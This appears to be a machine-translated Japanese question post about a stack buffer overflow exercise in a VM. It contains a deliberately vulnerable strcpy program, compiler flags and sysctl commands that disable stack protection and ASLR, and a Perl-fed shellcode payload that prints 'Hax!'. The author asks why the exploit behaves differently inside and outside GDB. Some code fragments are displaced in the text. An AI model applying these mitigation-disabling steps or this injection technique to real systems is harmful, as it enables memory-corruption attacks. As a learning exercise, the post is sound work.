ずっと前にスタックに配置されたバッファー オーバーフローについて読みましたが、仮想マシンをセットアップして実際にそれらを実際に見ることにしました。
次のコードは、脆弱なプログラムでした。
#include<string.h>
void go(char *data){
char name[64];
strcpy(name, data);
}
int main(int argc, char **argv){
go(argv[1]);
}
-zexecstack
GCC のおよびオプションを使用してコンパイルさ-fno-stack-protector
れ、スタック内のコードを実行可能にし、プログラムに組み込まれたスタック オーバーフロー保護 (「カナリア」値) を無効にします。
gcc vuln.c -o vuln -zexecstack -fno-stack-protector -g
次に、GDB を使用しname
てスタック上のメモリ位置を調べたところ、次のアドレスが見つかりました。0x7fffffffdc10
私の VM には最近の Linux バージョンがあるため、次を実行して ASLR (Address Space Layout Randomization) を無効にする必要がありました:
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
またはsudo sysctl -w kernel.randomize_va_space=0
.
シェルコードは、私がオンラインで見つけた Stack Smashing に関する記事から引用したもので、Perl スクリプトを介してプログラムに供給されました。
perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'
シェルコードの最初の 45 バイト (画面に "Hax!" と書かれているはずです)、正しい位置にポインターを取得するための余分な 27 "A" バイト、そして最後にリトル エンディアンでのペイロードの開始アドレスです。
問題は:
GDB でプログラムを実行するときは、次の方法で行います。
gdb vuln
>run `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'`
シェルコードを実行すると、「Hax!」というメッセージが表示されます。出力。
のようにGDBの外でプログラムを実行しようとすると
./vuln `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'`
「 Hax Illegal instruction (core dumped)
!」の代わりにエラーが表示されます。出力。
この異なる動作の原因は何かを突き止めようと、頭を悩ませてきました。GDB はデフォルトで ASLR を無効にしているようsysctl
ですが、カーネルでも無効にしました。カーネルがkernel.randomize_va_space
変数を無視している可能性はありますか? それとも、静的であっても、GDB と実際のプロセスでメモリ アドレスが異なるのでしょうか。または、実際のプロセスが実際にシェルコードを実行しているのに、GDB が無視/バイパスしている実際のプロセスで何か問題が発生している可能性がありますか?
何が原因である可能性がありますか?